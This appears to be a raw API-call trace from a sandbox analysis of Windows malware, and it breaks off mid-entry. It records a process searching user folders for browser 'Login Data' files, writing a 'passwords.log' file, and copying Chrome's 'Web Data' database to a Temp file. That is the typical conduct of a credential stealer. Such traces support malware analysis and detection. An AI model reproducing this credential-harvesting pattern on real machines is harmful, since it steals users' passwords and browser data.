[0201.148] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0201.148] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.148] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tiles\\pin21042551290\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a72f6ee, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a72f6ee, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a72f6ee, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0201.148] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a72f6ee, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a72f6ee, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a72f6ee, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.148] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a72f6ee, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a72f6ee, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a72f6ee, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.148] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0201.148] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tiles\\pin21042551290\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.149] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tracking Protection\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0201.149] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.149] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.149] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0201.149] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tracking Protection\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.149] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\VersionManager\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b374a10, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0201.150] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b374a10, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.150] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374a10, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x3866, dwReserved0=0x0, dwReserved1=0x0, cFileName="versionlist.xml", cAlternateFileName="VERSIO~1.XML")) returned 1 [0201.150] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374a10, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x3866, dwReserved0=0x0, dwReserved1=0x0, cFileName="versionlist.xml", cAlternateFileName="VERSIO~1.XML")) returned 0 [0201.150] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0201.195] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\VersionManager\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.195] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0201.195] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.195] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb473f3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb473f3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1 [0201.195] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c685c43, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1 [0201.196] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c685c43, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 0 [0201.196] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0201.196] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.196] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb473f3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb473f3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0201.196] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb473f3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb473f3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.196] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb6d796, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb6d796, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0201.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0204.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0204.201] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\passwords.log", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\passwords.log", lpFilePart=0x0) returned 0x3c [0204.202] WriteFile (in: hFile=0x468, lpBuffer=0x31d0be4*, nNumberOfBytesToWrite=0x6b1, lpNumberOfBytesWritten=0x12ff0b0, lpOverlapped=0x0 | out: lpBuffer=0x31d0be4*, lpNumberOfBytesWritten=0x12ff0b0*=0x6b1, lpOverlapped=0x0) returned 1 [0204.212] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12feffc, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0204.212] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12feffc, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0204.212] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", nBufferLength=0x105, lpBuffer=0x12febc8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpFilePart=0x0) returned 0x46 [0204.212] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_12.8092175+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_12.8092175+02_0011"), bFailIfExists=0) returned 1 [0204.261] ReadFile (in: hFile=0x468, lpBuffer=0x31d31e4, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x12ff054, lpOverlapped=0x0 | out: lpBuffer=0x31d31e4*, lpNumberOfBytesRead=0x12ff054*=0x11000, lpOverlapped=0x0) returned 1 [0204.264] VarDecCmp (pdecLeft=0x12ff174, pdecRight=0x12ff164) returned 0x2 [0204.264] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0204.264] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0204.264] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0204.264] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x1 [0204.265] VarDecMul (in: pdecLeft=0x12feb18, pdecRight=0x12feb08, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.265] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.265] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.265] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.265] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.265] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.266] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.266] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.266] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.266] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.266] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecCmp (pdecLeft=0x12fe4e4, pdecRight=0x12fe4d4) returned 0x2 [0204.267] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe46c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe47c | out: pdecResult=0x12fe47c) returned 0x0 [0204.267] VarDecCmp (pdecLeft=0x12feac8, pdecRight=0x12fe4e4) returned 0x1 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, pdecResult=0x12fe4ac | out: pdecResult=0x12fe4ac) returned 0x0 [0204.267] VarDecRound (in: pdecIn=0x12fe49c, cDecimals=0, 